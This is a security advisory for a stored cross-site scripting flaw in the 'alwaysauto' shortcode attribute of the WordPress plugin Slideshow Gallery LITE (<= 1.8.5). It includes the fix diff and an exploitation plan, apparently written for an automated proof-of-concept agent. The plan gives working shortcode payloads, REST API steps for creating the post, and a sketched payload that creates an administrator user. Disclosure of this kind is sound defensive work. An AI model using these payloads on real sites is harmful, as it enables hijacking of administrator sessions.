Slideshow Gallery LITE <= 1.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'alwaysauto' Shortcode Attribute
Description
The Slideshow Gallery LITE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'alwaysauto' shortcode attribute in all versions up to, and including, 1.8.5. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.8.5What Changed in the Fix
Changes introduced in v1.8.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2021 (Slideshow Gallery LITE) ## 1. Vulnerability Summary The **Slideshow Gallery LITE** plugin (versions <= 1.8.5) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `alwaysauto` attribute wit…
Show full research plan
Exploitation Research Plan: CVE-2026-2021 (Slideshow Gallery LITE)
1. Vulnerability Summary
The Slideshow Gallery LITE plugin (versions <= 1.8.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the alwaysauto attribute within the [tribulant_slideshow] (and the alias [slideshow]) shortcode. Authenticated users with Contributor permissions or higher can inject malicious scripts into the alwaysauto attribute. Because this attribute is rendered into the page source without sufficient sanitization or output escaping (likely via esc_js() or esc_attr()), the script executes in the context of any user viewing the page, including administrators.
2. Attack Vector Analysis
- Shortcode:
[tribulant_slideshow]or[slideshow] - Vulnerable Attribute:
alwaysauto - Authentication Level: Contributor+ (capability
edit_postsis required to create/edit posts where shortcodes are processed). - Preconditions: The plugin must be active. A Contributor must be able to create or edit a post/page.
- Endpoint: Post creation/edit endpoint (
/wp-admin/post.phpor/wp-json/wp/v2/posts).
3. Code Flow
- Registration: In
slideshow-gallery.php, the shortcode is registered in the__constructmethod:add_shortcode('slideshow', array($this, 'embed')); add_shortcode('tribulant_slideshow', array($this, 'embed')); - Processing: When a post containing the shortcode is rendered, the
embed()method in theSlideshowGalleryclass is called. - Attribute Extraction: The method uses
shortcode_atts()to parse user-supplied attributes, includingalwaysauto. - Rendering (The Sink): The
alwaysautovalue is passed into a rendering context (likely a view file or an inline script block). Based on the vulnerability description, it is rendered unsanitized. It is often embedded within a JavaScript configuration object that initializes the gallery, such as:
Ifvar slideshow_options = { // ... "alwaysauto": "USER_INPUT_HERE", // ... };USER_INPUT_HEREis not escaped withesc_js(), an attacker can break out of the string and execute arbitrary code.
4. Nonce Acquisition Strategy
This vulnerability is triggered by inserting a shortcode into a post. No plugin-specific AJAX nonce is required to exploit this XSS. The attacker only needs the standard WordPress nonces required for post creation/editing:
- Login as a Contributor.
- Navigate to
wp-admin/post-new.php. - Extract the
_wpnoncefrom the form (for traditional POST) or use the REST API noncewp-auth-checkif using the block editor.
Note: Since the PoC agent can use the block editor or the classic editor, the simplest way is to use the REST API to create a post, which requires the wp-rest nonce usually found in window.wpApiSettings.nonce.
5. Exploitation Strategy
Step 1: Login and Post Creation
The goal is to create a post containing the malicious shortcode.
HTTP Request (REST API - recommended for automation):
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [REST_NONCE]
- Payload:
Note: If Contributor cannot 'publish', set status to 'pending' and the admin will view it for approval, triggering the XSS.{ "title": "XSS Test", "content": "[tribulant_slideshow alwaysauto='\"});alert(document.domain);var+x=({ \"test\":\"']", "status": "publish" }
Step 2: Alternative Payload (HTML Attribute Breakout)
If the attribute is rendered directly in an HTML tag:
- Payload:
[tribulant_slideshow alwaysauto='"><script>alert(window.origin)</script>']
Step 3: Triggering
Navigate to the URL of the newly created post (or the preview URL if pending) as an Administrator.
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Activation: Ensure
slideshow-galleryis active.wp plugin activate slideshow-gallery
7. Expected Results
- When viewing the post, the browser should execute the injected JavaScript (e.g., show an alert box with the domain).
- Looking at the page source, the
alwaysautovalue should appear unescaped, having broken out of its intended context (either a JS string or an HTML attribute).
8. Verification Steps
- Manual Inspection:
Use thebrowser_navigatetool to view the post andbrowser_evalto check for a global variable or evidence of execution.// Check if the script executed (if using a marker instead of alert) browser_eval("window.xss_executed = true;") - Source Code Check:
Check the rendered HTML usinghttp_request(GET) and search for the payload string.# Look for the unescaped breakout grep -C 5 "alwaysauto" response_body.html
9. Alternative Approaches
If the alwaysauto attribute is not rendered in the frontend but in an admin-only view:
- Identify if the plugin has an admin "Manage Slides" or "Settings" page that renders existing shortcodes or gallery previews.
- Use a payload designed to exfiltrate the administrator's session cookies or create a new admin user:
- Payload:
[tribulant_slideshow alwaysauto='\"});fetch(\"/wp-admin/user-new.php\").then(r=>r.text()).then(t=>{/*CSRF logic to create user*/});//']
- Payload:
Summary
The Slideshow Gallery LITE plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the 'alwaysauto' shortcode attribute. This occurs because the plugin fails to sufficiently sanitize or escape the attribute value before rendering it in a page's source, allowing an attacker to execute arbitrary JavaScript in the context of any user viewing the post.
Vulnerable Code
// slideshow-gallery.php approx line 560 (v1.8.5) // Inside the attribute processing logic for the [tribulant_slideshow] shortcode if (!in_array($s['orderby'], ['id', 'date', 'name', 'type', 'created' , 'order' , 'random'], true)) { $s['orderby'] = array('order', "ASC"); // Default fallback } // Additional validation based on the context if (!in_array($s['orderf'], ['id', 'date', 'name', 'type', 'created', 'order'], true)) { $s['orderf'] = 'order'; // Default fallback }
Security Fix
@@ -559,12 +562,17 @@ } } - if (!in_array($s['orderby'], ['id', 'date', 'name', 'type', 'created' , 'order' , 'random'], true)) { + if (!in_array($s['orderby'], ['id', 'date', 'name', 'type', 'created' , 'order' , 'random', 'menu_order'], true)) { $s['orderby'] = array('order', "ASC"); // Default fallback } + // Validate alwaysauto to only accept 'true' or 'false' + if (!in_array($s['alwaysauto'], ['true', 'false'], true)) { + $s['alwaysauto'] = 'true'; // Default fallback + } + // Additional validation based on the context - if (!in_array($s['orderf'], ['id', 'date', 'name', 'type', 'created', 'order'], true)) { + if (!in_array($s['orderf'], ['id', 'date', 'name', 'type', 'created', 'order', 'menu_order'], true)) { $s['orderf'] = 'order'; // Default fallback }
Exploit Outline
The exploit is executed by an authenticated user with at least 'Contributor' privileges. The attacker creates a new WordPress post and inserts the `[tribulant_slideshow]` shortcode with a malicious payload in the `alwaysauto` attribute. Methodology: 1. Authenticate as a Contributor. 2. Use the Post editor (Classic or Block) or the WordPress REST API (`POST /wp-json/wp/v2/posts`) to create a post. 3. The payload involves breaking out of a JavaScript string or HTML attribute context, for example: `[tribulant_slideshow alwaysauto='"});alert(document.domain);var+x=({ "test":"']`. 4. When an Administrator views the post (either published or in draft preview), the injected script will execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.